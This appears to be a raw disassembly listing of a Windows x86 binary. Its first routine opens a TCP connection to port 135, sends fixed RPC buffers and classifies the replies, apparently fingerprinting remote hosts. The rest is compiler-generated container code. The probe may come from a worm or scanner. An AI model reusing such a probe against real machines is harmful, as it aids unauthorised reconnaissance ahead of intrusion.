; ---------------------------------------------------------------------------
loc_421647: ; CODE XREF: ___:00421638j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402004
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: ___:00421635j
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4217C9
cmp esi, 0FFFFFFFFh
jz loc_4217C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40187F
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov ebp, dword_50FC8C
push 0
push 48h
push offset dword_443DC8
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov edi, dword_50FC90
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi
cmp eax, 0FFFFFFFFh
jz loc_4217C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4217C2
push 0
push 18h
push offset dword_443E3C
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_4217C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4217C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4217C2
push 10h
push offset loc_443E14
lea eax, [esp+24h]
push edi
push eax
call sub_401AEB
add esp, 10h
test al, al
jz short loc_421791
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: ___:0042176Ej
push 10h
push offset dword_443E28
lea edx, [esp+24h]
push edi
push edx
call sub_401AEB
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4217C2: ; CODE XREF: ___:004216DBj
; ___:004216F6j ...
push esi
nop
call near ptr 71AB9639h
loc_4217C9: ; CODE XREF: ___:0042167Ej
; ___:00421687j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: ___:00401A00j
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421870 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421870 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218B0 proc near ; CODE XREF: sub_4018D9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401901
sub_4218B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218F0 proc near ; CODE XREF: sub_401816j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40196F
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401997
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401947
sub_4218F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421960 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40204F
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_421960 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4219A0 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_4219A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219D0 proc near ; CODE XREF: sub_402167j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40196F
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4018FC
sub_4219D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A10 proc near ; CODE XREF: sub_401703j
push esi
mov esi, ecx
call sub_4019EC
mov eax, esi
pop esi
retn
sub_421A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421A30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40204F
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421A50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A80 proc near ; CODE XREF: sub_401802j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FFF
neg al
sbb eax, eax
inc eax
retn 4
sub_421A80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AB0 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421AB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013ED
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021B7
sub_421AF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B60 proc near ; CODE XREF: sub_40145Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40110E
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421B60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421BA0 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421BA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013ED
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BAE
sub_421BD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C10 proc near ; CODE XREF: sub_401B40j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421C10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421C30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C50 proc near ; CODE XREF: sub_40182Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421C50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D48
neg al
sbb eax, eax
inc eax
retn 4
sub_421C80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401ECE
mov edi, eax
push edi
call sub_401B1D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421CB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B1D
push edi
mov [eax], ebx
call sub_401B1D
mov edi, [eax]
push edi
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E3D
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D84
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421D50 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401CF3
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401901
sub_421D50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401CF3
push edi
mov [eax], ebx
call sub_401CF3
mov edi, [eax]
push edi
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017E9
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401EBF
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421DF0 proc near ; CODE XREF: sub_401997j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jz short loc_421E4A
loc_421E08: ; CODE XREF: sub_421DF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020B8
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A1E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jnz short loc_421E08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421E4A: ; CODE XREF: sub_421DF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421DF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E80 proc near ; CODE XREF: sub_401901j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401DF2
sub_421E80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421E95
mov edi, esi
loc_421E95: ; CODE XREF: ___:00421E91j
push esi
call sub_40204F
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421EAA
mov edi, esi
loc_421EAA: ; CODE XREF: ___:00421EA6j
push esi
call sub_401CF3
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421ED0 proc near ; CODE XREF: sub_401947j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401546
sub_421ED0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_40204Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F10 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F30 proc near ; CODE XREF: sub_4019ECj
mov eax, ecx
retn
sub_421F30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F50 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401519
mov eax, esi
pop esi
retn 4
sub_421F50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F80 proc near ; CODE XREF: sub_401FFFj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_421F80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FB0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018E8
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_421FB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013DE
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D75
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4220AA
loc_422068: ; CODE XREF: sub_422050+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019AB
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B7C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422068
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4220AA: ; CODE XREF: sub_422050+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422050 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020BD
sub_4220E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4220F5
mov edi, esi
loc_4220F5: ; CODE XREF: ___:004220F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42210A
mov edi, esi
loc_42210A: ; CODE XREF: ___:00422106j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422130 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018E3
sub_422130 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422150 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422170 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422170 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422190 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221B0 proc near ; CODE XREF: sub_401D75j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018ED
mov eax, esi
pop esi
retn 4
sub_4221B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221E0 proc near ; CODE XREF: sub_401D48j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4221E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422210 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A2D
add esp, 8
retn 8
sub_422210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422240 proc near ; CODE XREF: sub_401A1Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020B8
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40204F
push esi
mov ebx, eax
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401CF3
push esi
mov ebx, eax
call sub_40204F
mov eax, [eax]
push eax
call sub_401CF3
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_401631
push esi
mov ecx, edi
call sub_401947
sub_422240 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422300 proc near ; CODE XREF: sub_401CF3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422300 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422320 proc near ; CODE XREF: sub_401DF2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_422320 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422350 proc near ; CODE XREF: sub_401546j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422350 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422370 proc near ; CODE XREF: sub_4017E9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40201D
add esp, 8
retn 8
sub_422370 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223A0 proc near ; CODE XREF: sub_401519j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4223A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4223C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223E0 proc near ; CODE XREF: sub_4020B8j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4223E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422410 proc near ; CODE XREF: sub_401B7Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019AB
mov ecx, eax
call sub_4018E8
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E60
push esi
mov ecx, edi
call sub_4021B7
sub_422410 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4224F0 proc near ; CODE XREF: sub_4020BDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_4224F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422520 proc near ; CODE XREF: sub_4018E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422520 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422540 proc near ; CODE XREF: sub_4013DEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401ED3
add esp, 8
retn 8
sub_422540 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422570 proc near ; CODE XREF: sub_4018EDj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422570 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422590 proc near ; CODE XREF: sub_4018E8j
mov eax, [ecx]
retn
sub_422590 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225B0 proc near ; CODE XREF: sub_4019ABj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40182A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4225B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225E0 proc near ; CODE XREF: sub_401631j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A78
pop ecx
retn 4
sub_4225E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
